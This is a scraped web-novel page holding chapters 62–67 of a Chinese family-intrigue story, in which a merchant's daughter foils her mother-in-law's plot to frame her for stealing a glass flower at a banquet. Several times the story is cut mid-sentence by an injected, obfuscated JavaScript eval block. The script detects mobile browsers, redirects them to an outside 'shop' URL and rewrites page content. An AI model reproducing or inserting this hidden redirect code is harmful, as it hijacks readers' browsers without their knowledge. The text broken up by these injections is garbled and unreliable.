难道这些人都是她二人后家的人? 很快,顾皎皎的想法就得到了验证。 刘氏拉过一名男子道:“这是小云南王,这是杜大人,还不快快行礼?” 男子立马恭敬行礼。 章氏见状也有样学样。 顾皎皎在一旁冷眼瞧着,唇边笑意讥讽,这刘氏与章氏的脑子是被狗吃了吗?她们凭什么觉得,小云南王与那位杜大人会买她们的账? 果然,沈云祉好似没见着他们动作,连视线都未曾在他们身上停留一秒。 他目光落在顾皎皎身上:“顾夫人,还不带路?” 顾皎皎憋笑点头:“好,小王爷、杜大人请!” 眼见几人的背影越来越远,刘氏身旁男子有些不高兴:“这怎么与你说的不一样?小云南王压根连正眼也未曾给我!” 第六十二章 抱恙 刘氏心情也颇为烦躁,她低声吼道:“哥哥,你可能沉住气些?小云南王自是不会轻易结识旁人的。” 刘志闻言怒气散了些,却仍旧阴沉着脸:“不会轻易结识旁人你叫我来做什么?不是白白浪费时间?” 刘氏低头沉吟,片刻后她小声道:“今日赏花宴将会举办一日,我不信找不到丁点时间结识小云南王。” 刘志深觉有理:“既如此,那还等什么?快些进去吧,应该要不了多久就要开席了吧。” 说着,他一挥手,身后人都跟着浩浩荡荡进入安阳侯府,只留了章氏与刘氏在门口面面相觑。 章氏:“二弟妹,这么多人进去真的没事儿吗?若是母亲知晓了,定然又得罚咱们。” 刘氏不以为然:“大嫂,你胆子也忒小了,母亲准备的这个赏花宴,各种规格都是按照最好的安排,宴请的人数也颇多,怕是她老人家自个儿也不知晓究竟有哪些人来赴宴,所以,我们怕什么?” 闻言,章氏心安不少,她拉着刘氏:“既如此,那咱们快些进去吧,不然等会儿母亲没瞧见咱们,指不定又说得多难听。” 顾皎皎余光瞥见身后跟进来的一众人,她唇边笑意深了不少,看来等会儿又有好戏看了! 因着即将到用膳之时,孙老夫人与孙协兆便提前将宾客安排入了席,只给小云南与杜玉荣留了两个位置。 瞧见沈云祉的身影,孙老夫人忙迎上来,满是褶子的眼弯成了月牙:“小王爷,杜大人,您们请上座。” 二人礼貌行礼后,杜玉荣看了眼座位,有些为难道:“老夫人,这两个位置或许不够坐。” “什么?”孙老夫人惊讶,怎么可能会不够?她可是数清楚了人数,才从第一楼订的席面。 沈云祉唇角微勾:“玉荣,老夫人没太明白你的意思,要不,你侧侧身,让老夫人瞧瞧?” 杜玉荣点头,退到一旁。 刘志等十数人出现在孙老夫人面前,孙老夫人自然认得他们,她颤着声儿道:“你们怎会来此?” 此话一出,在场宾客纷纷皱起了眉头,原因无他,只因孙老夫人这话太过没有礼数。 顾皎皎笑了笑:“母亲,瞧您说的什么话,来者是客,况且他们都是大嫂嫂和二嫂嫂的娘家人,来也是应该的。” 孙老夫人气得要死,应该个屁,今日她愿意花大价钱宴请宾客,是为了结识权贵,是为了安阳侯府的未来。 章氏与刘氏的娘家人能为安阳侯府做什么? 孙协兆察觉到了不对,他碰了碰孙老夫人的手臂:“母亲,来了便来了,多点两桌席面吧。” “嗯,事到如今也只能如此了。” 孙老夫人心疼不已,她狠狠瞪了一眼后方的章氏与刘氏,等今日赏花宴过后,她在好好收拾她们! 刘氏没想到孙老夫人竟只备了刚好数量的席面,一时间有些心虚。 今日赏花宴席面,与当初她点来宴请小云南王的席面差不多,一桌可要不少银子……如今自己害得她多花了银两,怕是吃不了兜着走…… 章氏也十分担心:“二弟妹,如今我们可怎么办,母亲定然不会轻易饶了我们。” 刘氏:“只要咱们能立功,自然就能将功折罪,想来母亲也不是那般小气之人。” 章氏皱眉:“将功折罪?谈何简单?” 刘氏:“方才母亲下意识的一句话,让在场的夫人们都产生了一些偏见,若是咱们能将夫人们的关注点从母亲身上转移到别人身上,那自然也算是替她分忧解难了,怎么不能将功折罪?” 章氏这才豁然想明白,她将视线落在顾皎皎身上:“既然如此,那我们便现在实施昨日制定的计划?” 二人不谋而合。 原本孙老夫人是不准备让三个儿媳入席的,如今多点了两桌,自然位置也就空了出来。 孙老夫人不悦老了三人一眼:“还愣着干什么?还不入座?待会儿大家伙都吃完了,你们可得帮着干活。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14017277|148660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “是,母亲,儿媳知晓了。” 三人坐到了一处,桌上其余夫人都是有身份的,穿着虽不算十分华贵美艳,却也是端庄得体。 章氏看了顾皎皎一眼,她叹息道:“三弟妹啊,你今日怎的穿了这身便过来了,母亲不是早与你说了赏花宴一事吗?你怎的还穿这般不得体来扫诸位夫人的兴?” 她的声音很大,周边两桌的夫人都将视线投在顾皎皎身上,本来她们觉得没什么,毕竟穿浓穿淡都是个人喜好,可如今听了章氏两句,他们心中升起一丝不悦,顾皎皎穿着素净,何尝不是未将她们看在眼中?谁人都知隆重场合应当盛装出席。 一时间,一些没甚主见的夫人看向顾皎皎的神色变得微妙起来。 一夫人冷嘲:“哎,大夫人又何必这样说,三夫人的出身咱们谁不知晓?一个商女罢了,又哪里会注意这些弯弯绕绕?” 顾皎皎闻言未恼,她的视线在章氏与刘氏二人身上转了转,似笑非笑:“两位嫂嫂此言差矣,我并不觉得我今日穿着不得体。” 刘氏:“你看看你穿的,再看看我们穿的,赏花宴本是喜庆之事,你穿得跟奔丧似的,竟还 不算不得体?” 顾皎皎冷笑:“二位嫂嫂倒是穿得喜庆,只是如今太后娘娘身体抱恙,你们穿成这般,可是还有其他意思?” 刘氏与章氏闻言变了脸色,她们怎么一点风声也未曾听到? 太后娘娘身体有恙,她们却穿红戴绿的,若是被有心人拿住把柄,治她们一个诅咒太后的罪名,不止他们吃不了兜着走,恐怕安阳侯府与他们的娘家都会受到影响! 想清楚厉害关系,刘氏赶忙抬手擦掉唇上口脂,可是迟了,不少夫人都已看清事情的来龙去脉,她们用鄙夷的目光看向刘章二人,甚至还有人伸出手来指指点点。 刘氏顿觉丢脸,面部传来的燥热感臊得她想挖个地缝钻进去。 不行,她不能任由事情发展,她得想法子转移这些夫人的目光! 第六十三章 也是身败名裂 孙老夫人在一旁看着,面色铁青,藏在袖中的手紧握成拳,这三个儿媳真的是一个也不让人省心! 刘氏与章氏二人,从前她怎的没发现她们这般愚钝?没有手段还要强出头,白白惹人笑话! 她眯了眯眼,倒是顾皎皎,从前她小看她了。 今日之事必须得控制住,否则若是传了风声到圣上耳中,安阳侯府可就被毁了! 宋嬷嬷毕竟跟了孙老夫人许久了,见主子神色,她便知晓主子心中有了主意,她俯身凑近孙老夫人耳畔低声询问道:“老夫人,可是要行动?” 孙老夫人几不可见点头:“嗯,不然当真看着安阳侯府被这两个蠢货给牵连了?” 宋嬷嬷:“可奴婢瞧着,二夫人似乎心中也有主意,可要先等等?若是二夫人有法子力缆狂澜,倒省得您出手惹人闲话。” “就凭她?” 孙老夫人声音大了些,怕被人听见,忙又压低了声儿:“你看着刘氏像是能玩得过顾皎皎的人吗?净是出些昏招,瞧瞧,她今日可不就是自损八百伤敌为零吗?” “等她力缆狂澜,怕是安阳侯府不知得被她害成什么样!” 孙老夫人有些不耐:“快着些,就按照我说的办,现下正是转移在场人注意的好时机,事情还未发酵。” “另外,你让人知会那两个蠢货一声,待会儿见机行事,若是她们再坏事,看我不扒了她们的皮!” “是,老夫人。”宋嬷嬷快速离开宴席。 顾皎皎看着章氏与刘氏吃瘪的模样,便感觉心旷神怡,仿佛空气中都透着一股清甜的气息。 如今形式于她们十分不利,她倒是想看看这二人准备如何应对。 余光往孙老夫人那边看了一眼,也不知这老虔婆会不会袖手旁观? 顾皎皎这边思绪方落,她便听到孙老夫人唤她。 “皎皎啊,你过来,母亲有话同你说。” 顾皎皎笑了笑:“好的母亲,儿媳这就过来。” 她将将在孙老夫人面前站定,手便被一双苍老干瘪的手握住:“皎皎啊,说起来三个儿媳中我还是最属意你的,又细心又有孝心,做起事来井井有条。” “母亲谬赞了,都是您教导有方。”顾皎皎忍着想要将她的手甩开的冲动,面上挂起得体微笑。 “是不是谬赞,我还不知晓么?” 孙老夫人叹息了一声:“你啊,就是太过谦虚了,你快回去坐着吧,也快用膳了。” “是,母亲。” 顾皎皎福身行了一礼,低垂下的眸子中泛起些许涟漪。 看孙老夫人这阵仗,估计是在憋什么坏招了,待会儿她得注意下,千万不能着了这老虔婆的道! 周遭夫人们见到安阳侯府如此融洽的婆媳关系都纷纷侧目,夸赞之言此起彼伏。 从孙老夫人跟前到顾皎皎所坐的席面约莫五十来步,每一步她都踏得十分谨慎,因着老虔婆若要动什么手脚,只能在自己离开席面的时候动…… 她唤自己过去,说了那几句无关痛痒的话,想来便是为了诱自己离席。 四十五步、四十六步……顾皎皎心中默数步数,就在她都以为是自己多想了后,不知从何处跑出来一名丫鬟,竟端着茶水横冲直撞她奔来! 她瞳孔微缩,想躲避却来不及了,纵使堪堪侧身避开,衣裳上还是被染上了脏污,数片茶叶稀疏挂在袖摆之上,看起来好不滑稽。 围观夫人们皆倒吸一口凉气:“幸好不是滚烫的茶水,否则三夫人你今日可就遭罪了……” “大胆贱婢,谁给你胆子冲撞三夫人的?”宋嬷嬷气势汹汹冲出来,一巴掌将那婢女扇倒在地。 婢女的半边脸颊立马高高肿起,她哭着求饶:“嬷嬷,三夫人,奴婢不是故意的,方才奴婢只想着快些替客人斟茶水,是以慌乱了些……” “还在狡辩?看来你是不见棺材不落泪了!”宋嬷嬷冷着脸揪住那婢女的耳朵:“走,莫要在贵人面前丢人现眼,随我离开,看我怎么收拾你。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“现在我们也在那老虔婆的计划之中,说我们按照她谋划的,一步一个脚印踩下去,等收尾时,也是身败名裂!” 第六十四章 不见了! 莺儿小脸煞白,声音也带上哭腔:“那姑娘,咱们要怎么办才好啊?难道今日只能踩进老夫人的圈套吗?” “那自然不行。”顾皎皎摇头:“今日来安阳侯府参加赏花宴之人,几乎囊括了京中一大半的权贵,若是我在今日名声毁了,日后怕是休想在京中立足,届时,安阳侯府才真真正正的将我拿捏了个彻底。” 视线落在竹林旁的数块小石头上,她心中生了一记,忙凑到莺儿耳边道:“你且去找些黄豆,切记动作要快,且不要落下任何把柄。” “是,姑娘,奴婢记得咱们院中就有,奴婢这就去拿。” “嗯,到时候你这样……” 孙老夫人时不时便探头查看顾皎皎有没有回来,心情颇为浮躁。 宋嬷嬷见状忙劝慰道:“老夫人,您莫要着急,三夫人换了衣裳自然会来的。” “若是您继续这般,难免不会被人瞧出什么……” 第二句话,她压低了嗓音,只有二人能够听到。 她的话音刚落,远远的便瞧见换了一身宝蓝衣衫的顾皎皎款款而至。 孙老夫人眼眸一亮:“她来了,去准备着。” “是,老夫人。” 待顾皎皎入了席,孙老夫人面色不虞道:“皎皎,不过换个衣裳罢了,怎的耽误了这么久?” 顾皎皎笑着解释:“回母亲,路上遇到一点儿事儿耽搁了……是以……” “好了,莫要找借口了。”孙老夫人不耐打断她:“即来了,那便开始今日的正题吧。” 她朝着宋嬷嬷吩咐道:“宋嬷嬷,你且去将我前段时日重金打造的琉璃曼珠沙华拿出来给诸位夫人赏上一番。” 此话一出,宴席当即沸腾起来,纵使是见过了千般好东西沈云祉也挑了挑眉。 “琉璃贵重,能有一点已十分稀罕,老夫人您竟然用琉璃制作了一朵曼珠沙华?”一名夫人面上满是不可置信。 老夫人笑了笑:“那株曼珠沙华倒也不十分大,但胜在小巧精致,待宋嬷嬷取来,众位夫人便可看个清楚。” “既如此,那便麻烦老夫人快些取出那朵琉璃花,也好让我等瞧上一瞧……” 宴席的气氛达到最高点,每个人面上都挂着或多或少的期待之色。 片刻后,宋嬷嬷慌慌张张跑回宴席:“老夫人,不好了!” “什么不好了?”孙老夫人皱眉:“你也跟了我数十载了,怎的还这般莽撞?” 宋嬷嬷声音颤抖,眼眶都急红了:“老夫人,琉璃曼珠沙华不见了!” “什么?!” 孙老夫人嚯的站起身,面上褶子都皱到了一处:“好好的曼珠沙华,怎会不见?今早我明明将它摆放好了!” 宋嬷嬷并未马上答话,她想了会儿,犹豫道:“老夫人,您说,琉璃曼珠沙华会不会是被人给偷了?” “怎么可能被偷?我的寝屋又不是什么猫猫狗狗都能进……”孙老夫人的话戛然而止,她猛的转头看向顾皎皎,眼中满是怀疑。 顾皎皎心底冷笑,原来是在这儿等着她呢? 她毫无畏惧与孙老夫人对上视线:“母亲,您看着我做什么?难不成您怀疑是我拿了琉璃曼珠沙华?” 顾皎皎直白的问话使孙老夫人愣了数秒,不过片刻她便回过神来,她也未说是否怀疑她,只道:“今日只你去了我寝屋换衣裳,除了我与宋嬷嬷外,便只有你近距离接触过那朵曼珠沙华。” 下面的夫人们听到琉璃曼珠沙华不见了,心中都十分失望,听了老夫人的话后,都纷纷将视线投到顾皎皎身上。 若是只她们三人接触过曼珠沙华的话,那这安阳侯府的三夫人,确实是最可疑的。 杜玉荣皱眉看着:“仅凭此便要说曼珠沙华是三夫人所拿,未免太过草率了。” 沈云祉笑了笑:“玉荣,我们说的可不做数。” “小王爷,方才见您似乎与三夫人有几分交情,如今她处境不太好,您可要出手相助?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14017279|148660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “不必。”沈云祉摇头,兴味的目光落在顾皎皎背影上:“她并非温室花朵,区区风雨,不足以撼动她。” 纵使底下的人都对自己议论纷纷,顾皎皎却仍旧是那副淡然模样,纤瘦的脊背如翠竹般挺拔。 她淡声道:“母亲,您有何话不妨直说?又何必整这些弯弯绕绕?” 孙老夫人面色冷然,她怒骂道:“你做了错事,却还这幅死不悔改的模样,你当真以为我拿你没办法吗?若不是怜惜你出身卑微,我这些年又怎会对你百般包容?早知对你的包容会使你养成今日这般秉性,我早该对你家法伺候!” 顾皎皎听着听着就笑了,她挑眉:“母亲,不妨您说说,我嫁到安阳侯府这两年您是如何包容我的?” 孙老夫人本准备一股脑将想说的话说出,结果却被打断,她心中颇为不悦:“我究竟如何包容你的,顾皎皎,你怎的这般没有良心,难道你心中当真没数吗?” 顾皎皎笑:“还请母亲明说,正好请诸位夫人也评评理。” 她的声音冷了几许:“还有,母亲,方才您怀疑我偷拿了琉璃曼珠沙华一事,今日也得一并说清楚了,否则日后我如何 说得清?” “你怎么敢这么跟我说话?”孙老夫人这下是真的生气了,她怒道:“方才只你一人去了我的寝屋换衣裳,那曼珠沙华不是你拿的,未必还能自己长脚跑了?” “母亲,谁跟你说的,我去了您寝屋换衣裳?”顾皎皎勾唇笑,她将手抬起,漂亮的衣摆成了蝴蝶形状,亮闪闪的十分漂亮:“难道母亲瞧着,儿媳身上这件衣裳,是母亲您的?” 孙老夫人有些心虚,她是让人准备了一件宝蓝色衣衫,可却不知晓究竟是何款式,只是如今顾皎皎都问到了这个份儿上了,她只能硬着头皮道:“自然,这衣裳还是前几日我命人连夜赶制的,怎会认不出?” 怕她又说出什么不好回答的话,孙老夫人嘲讽道:“顾皎皎,出身商贾不丢人,你的行径却丢人得紧!” 第六十五章 对她的谴责 “当真是这两年我太过纵容你了,所以才让你养成了这么个上不得台面的习惯,眼皮子浅便罢了,还成了个干了错事死不悔改之人!” 孙老夫人越说越难过,最后捶胸顿足的。 一旁围观的人见状都颇为动容,纷纷指责顾皎皎:“三夫人,今日这事儿便是你的不对了,纵使你当真没见过琉璃曼珠沙华,一时鬼迷心窍将它拿了去,那也没什么,你完璧归赵便是,又为何这般与婆母对着干?此番行为真是难堪,幸好我家的儿媳不是你这种人,否则真是家门不幸啊!” “就是,三夫人,看你长得倒是人模人样的,怎么净不干人事儿?像你这般品性的早便该被休弃了,安阳侯府还由着你为三房正妻,已经是格外仁慈了!” “……” 人人都在开口声讨顾皎皎,话里行间都是对她的谴责。 孙老夫人与刘氏、章氏三人见状得意极了,她们互相对望一眼,唇边的笑意压都压不住。 纵使人人都对她露出鄙夷神色,顾皎皎面色如旧,她不言不语,只带着些些笑意缓步走至阳光之下。 暖光的阳光照射在她身上,她身上原本宝蓝色衣衫瞬间颜色变换,愈发流光溢彩, 夫人们见状皆面露惊艳:“这是什么衣料,竟是会变换颜色?” “不知,我从未见过,不过显然不是俗品。” “正是,孙老夫人未免太过大方了,这般独一无二的料子,她竟自己不穿,反而给儿媳!” 沈云祉的视线一直定格在站在阳光下的顾皎皎身上,不知怎的,他竟觉得她好似会发光。 孙老夫人看着衣裙的目光逐渐变得贪婪,没想到她随意让人赶制了一件衣裳,竟赶出了这样一件宝贝! 心中隐隐有另一种想法升起,可她选择性忽视了,不管这衣裳是不是她派人赶制那套,现如今在所有人眼中,这套衣裳就是她给顾皎皎的。 不行!她得想法子让顾皎皎还回来才是,这般独特的衣裳,合该她穿! 孙老夫人的眸子越发失望,她低垂下头,静默了数秒,片刻后,她抬头痛心疾首道:“皎皎,既然我无法改变你,那我也就不做无用功了,那琉璃曼珠沙华若是你不想还,也就由着你了,你自个儿回去更衣吧,将你身上的衣裳归还与我,日后你也莫要再来给我请安了……这样方能相安无事……” 顾皎皎勾了勾唇,琉璃曼珠沙华,那玩意儿究竟是否存在都打个问号,这老虔婆这般说了,竟是直接将偷了琉璃曼珠沙华的罪名盖到她身上,现如今,看她这件衣裳漂亮,也动了占为己有的心思,可偏偏人人都以为老虔婆说出这番话,只是因为对自己太过失望…… 若是真如这老虔婆所愿,她就不姓顾! 面上笑容加深几许,顾皎皎道:“母亲,我说了我并未到您的寝屋换衣裙。” 见她仍旧死鸭子嘴硬,孙老夫人不耐:“你竟还要狡辩?” “我狡辩与否,当初领我而去的丫鬟便可作证。” 孙老夫人心中冷笑,看来这顾皎皎也算不得什么聪明人,那丫鬟是她的人,自然是她让其说什么,其便只能说什么。 “母亲,方才是您的丫鬟带我去换了衣裳不假,可那丫鬟惯是个投机取巧的,不走大路,偏偏带儿媳走小路。” 这事儿,孙老夫人自然是知晓的,便是她修复人带她从小路过去的,顾皎皎向来机灵,若是察觉出不对,自个找到路逃了,那她不是功亏一篑? 顾皎皎:“儿媳走路向来慢,母亲您也是知晓的,偏偏那丫鬟走路快得很,没走几步儿媳便没瞧见她的身影,儿媳站在原地喊了一会儿,也没见有人出来,为了不让母亲与诸位夫人久等,我只好和莺儿回了皎月阁换衣裳。” 孙老夫人心中咯噔一下,有些狐疑,现如今她并不能确定顾皎皎话中几分真几分假,就在她斟酌该如何回答的时候,刘氏在一旁听着沉不住气了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14017280|148660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 她上前一步尖声道:“好话赖话都让你给说透了,你没去母亲寝屋,琉璃曼珠沙华怎会平白无故消失?” 顾皎皎似笑非笑:“那二嫂可得问问母亲了,这琉璃曼珠沙华,真的存在么?” 此话倒是点了不少夫人,是啊,说什么有琉璃曼珠沙华,可他们从头到尾并未瞧见此物,究竟是东西被人偷了,还是原本就没这个东西,还不可知。 刘氏本还想继续说话,孙老夫人瞪了刘氏一眼,她立马止了声儿。 真是个蠢货,不说话没人会将她当哑巴,为何要出来说这几句坏她好事? “咳咳!”孙老夫人轻咳两声清了清嗓子,数秒后,她道:“这样吧,皎皎,为了不冤枉你,我这便让宋嬷嬷去将方才那丫鬟找出来对质,这样总没得说了吧?” “对质一事,儿媳自然是举双手双脚赞成的。”顾皎皎挑眉:“只是母亲,您不觉得您的人去找人,未免有失公允吗?” 这是将怀疑直接摆到了明面上,孙老夫人面色难看得紧:“你怕我提前与那丫鬟通气儿?” 顾皎皎没点头也没摇头,只看向其余夫人:“不知有没有哪位夫人愿意帮忙找找方才那名丫鬟?” 夫人们窃窃私语,一直无人站 出,毕竟这件事儿还是有些棘手的,不论最后结果如何,都得沾上些许因果,且无任何好处,他们一个个都是人精,又哪里会愿意? 就在顾皎皎以为无人愿意,她准备另想计谋之时,一名着了淡红衣衫的夫人悄声站出:“我让人去找找。” 顾皎皎并不认识此人,但见其雍容华贵的模样也知,此人并非普通人家的夫人。 她恭敬道:“多谢夫人,那便有劳夫人了。” 那夫人莞尔一笑:“我了解人从不会在他人的传闻之中,如今看来三夫人很知礼,不会是传闻中那等人,我不忍看你蒙冤,但能力有限,只能替你做些力所能及之事了。” 第六十六章 改变了所有人的想法 孙老夫人将着淡红衣衫的夫人上下扫了一眼,是个眼生的,应当不是什么了不起官员的妻室,不足为惧。 她皮笑肉不笑:“夫人当真心善,不过当看到真相时,还望你莫要失望才是。” 那夫人笑意未减:“我相信自己的判断,孙老夫人,您也应当相信自己的儿媳才是。” 说完,夫人对着身旁的贴身侍女嘱咐了两句,贴身侍女立马带了两名丫鬟沿着方才顾皎皎走过的路寻过去。 孙老夫人瞧着,心中也颇有些打鼓,自己的丫鬟,她当然有信心不会背叛,可顾皎皎是个狡猾的,谁也不知道这中间她有没有动什么手脚…… 她不动声色看了宋嬷嬷一眼,后者立马会意。 宋嬷嬷正想悄无声息离开宴席,一阵嘈杂声传来,下一秒离开不过一柱香的三名侍女回来了。 一名身体强健些的侍女身上还驮着一名女子,看服饰,应当是安阳侯府的下人。 孙老夫人面色变了,即使不看脸,她也能认出这人便是带顾皎皎前去寝屋的那名丫鬟,她这是怎么了?怎会昏迷? 侍女将人抗到自己主子面前:“夫人,奴婢们往前走了不远,便瞧见她倒在竹林中,脚下还有几颗黄豆。” 侍女将黄豆递到那夫人手中,夫人拿起黄豆瞧了几眼,旋即笑了:“原来如此,难怪三夫人会说找不到这丫鬟,原是误踩了黄豆晕倒在了竹林中。” “夫人,你这么轻易便下了定论,是不是太过草率了?还是说你与我这三儿媳本就是熟识之人?所以你们二人狼狈为奸将我这丫鬟打晕,然后编造事实?”孙老夫人笑容淡淡的,语气却颇有些咄咄逼人。 她的话音刚落,宴席的气氛便变得有些奇怪,不少人神色古怪的看着孙老夫人。 孙老夫人心中狂跳,一股不好的预感涌上来,难道这名夫人并非像她想的那般,是个小官家的妻室? “大胆,你竟敢对我们夫人这般说话,你该当何罪?!” 那丫鬟气势极强,孙老夫人被吓了一跳,差点没当场跪下,旋即她又觉得自己太过草木皆兵,就算她不是小官家的妻室那有如何?她是安阳侯府的老夫人,未必此人还能高得过她去。 想通一切,孙老夫人脊背挺得笔直:“难道我说错了?” “你!你可知我们夫人是何人?” “知意!”夫人唤了那侍女一声,侍女立马闭嘴,只嘟囔道:“夫人,奴婢就是瞧不惯她这般对您说话。” 那夫人微微一笑:“不碍事,莫放心上便是了。” 说着,她转身看向后面的诸位夫人:“如今知意已经将真相带给大家,想来诸位夫人心中应当也有了数。” “是,既然三夫人没去过孙老夫人寝屋,那琉璃曼珠沙华定然不会是三夫人所拿。” “诸位能看清真相便好。”那夫人说完,便冲顾皎皎点了点头,而后带着知意径直离开,从头到尾,她连正眼都未给孙老夫人一个。 孙老夫人气得握紧了手中茶盏,但碍于宴席上宾客众多,为了安阳侯府的颜面,她只能悻悻将其放下。 方才那个贱妇究竟是何人,怎会仅凭三言两语便改变了所有人的想法? 孙老夫人眯眼瞧着在人群中如鱼得水的顾皎皎,眼神不善。 哼,你能因着那贱妇洗脱偷窃的罪名,我便能用其他法子让你名声扫地,我要让你被协兆休弃后无人敢娶,孤苦无依过完此生! 仿若已经看到了顾皎皎无比凄惨的下场,孙老夫人的心情好了不少,片刻后她笑着道:“皎皎啊,方才倒是母亲误会你了,母亲也是丢失了琉璃曼珠沙华,心中着急,你可千万莫要将那事放在心上啊……” 见她这么快便改了口,顾皎皎微微挑眉:“母亲,您说什么胡话呢?您为长,我为幼,莫说这等无关紧要的冤枉了,便是您家法伺候,做儿媳的也不敢多说一句啊!” 闻言,一旁的夫人们皆将视线 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14017281|148660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 投到孙老夫人身上,原来这安阳侯府的老夫人私下里竟是个这般不讲理、胡乱来的性子?这与她平日里表现出来的大不相同啊! “皎皎,莫要胡说,我做母亲的何时这般不讲理过?”孙老夫人哪里没听出顾皎皎的言外之意?一张老脸被气得黑沉沉的,却硬是丁点气都不敢撒。 哼,顾皎皎,是你先挑起是非的,那就别怪我手下不留情了! 孙老夫人气得头晕眼花,她咬牙切齿道:“你看,你嫁入安阳侯府这两年多来,未将协兆伺候好,又未曾育有一儿半女的,我做母亲的,又何时多说过一句话?” “就算你不能将协兆伺候好,可我也念着你,这么多年也没让协兆纳妾,我自认为已经算是十分对得起你了。” 在京中,不给儿子纳妾的婆母,可谓是万千贵女的理想婆母,不少被婆母强行塞了妾室进夫君房中的夫人们都露出羡慕的眼神。 她们冲着顾皎皎道:“三夫人,人活着不可能事事顺意,老夫人愿意替你着想已经十分好了,你看,我们哪个的出身不比你好?可却日日与数个小妾斗智斗勇的,实在颇为烦扰。” “如今你两年无所出,婆母与夫君都未曾说些什么,已经算是十分有福了… …” 孙老夫人叹息一声:“是啊皎皎,你看,人人都比你知好歹,你以商女身份嫁到我安阳侯府已是祖坟冒青烟,又怎可向白眼狼一样,四处败坏我这个婆母的名声?” 顾皎皎听着她们你一言我一语的,心中气得不由自主笑出声。 这个老虔婆,竟好意思在这么多人面前颠倒黑白,还说她败坏她的名声?呸!究竟是谁败坏谁的名声? 她定定看着孙老夫人,一字一句质问道:“母亲,您怎可说话只说一半?” 孙老夫人回视她,有恃无恐:“我不懂你什么意思。” 她就不信,这顾皎皎能没脸没皮到将她与协兆房中事拿出来摆在大庭广众之下说! 第六十七章 故意欺负你 顾皎皎闻言,面上笑容越发冷凝,看来这老虔婆是料定了她什么都不敢说是吧? 呵,既然路是你自个儿上赶着将安阳侯府送给旁人看笑话,,那就怪不得她了。 “母亲当真不知晓儿媳说的什么吗?是不知晓,还是心虚装作没看到?” 顾皎皎朝着孙老夫人一步步靠近,颇有咄咄逼人之意,孙老夫人见状眼神有些躲闪,她不由自主后退数步,却仍旧梗着脖子怒道:“混账,你怎敢与我这般说话,你这是什么态度?!” 直到后背抵到了假山之上,二人才堪堪停住步子。 诸位夫人见顾皎皎这般,都纷纷为孙老夫人抱起不平来:“三夫人,这便是你的不是了,老夫人也并未说错什么,你确实这么多年也并未替安阳侯府生下一儿半女,如今未将你休弃已是十分仁慈,你怎还敢这般?” “呵,三夫人脾气这般大,不知晓还以为安阳侯府是尚了公主呢?你们可曾见过哪个出身卑微的商女似她这般?” 诸位夫人纷纷摇头,嘲讽的目光纷纷落在顾皎皎身上。 孙老夫人见这么多人都站在自己这边,她好似找回了些场子,脊背重新挺直。 “让开些,我说的都是事实,你确实未曾替协兆生下一儿半女,如今已逾两载,怎的就说不得了?今日幸好有诸位夫人看见,否则不知道的还以为是我这个婆母故意欺负你呢!” 顾皎皎与孙老夫人对视数秒,片刻后,她笑着道:“母亲,既然你不愿将话说完,那就让儿媳替你说完,想来如今您老眼昏花了,否则又怎会连事情的来龙去脉都讲不清楚?” 她面上笑容不善,孙老夫人看得心中咯噔一下。 她这是要将所有事情都和盘托出?! 孙老夫人慌了,不行,不能让她说,否则安阳侯府今后定会成为京中人茶余饭后的谈资! 她忙伸手想要开口阻止,可是迟了。 顾皎皎动作十分快,她大声道:“母亲,您怎的就揪着我嫁入安阳侯府两年,为生下一二半女一事来回说,您怎的不将协兆新婚当日,尚未圆房便以游学为借口离京两年之事说出?” “呵。”顾皎皎冷笑:“我倒是想问问母亲,我一个人要如何将孩子生出?” 她的目光扫向方才说话的几位夫人:“若是诸位夫人有什么一个人都能受孕的法子,还请莫要吝啬赐教才是。” 这下,不止孙老夫人面色难看,先前站在孙老夫人那边的几名夫人也面色难看得紧,骂人的话几乎便要脱口而出,但一想到小云南王在场,又只能将话全部吞了回去。 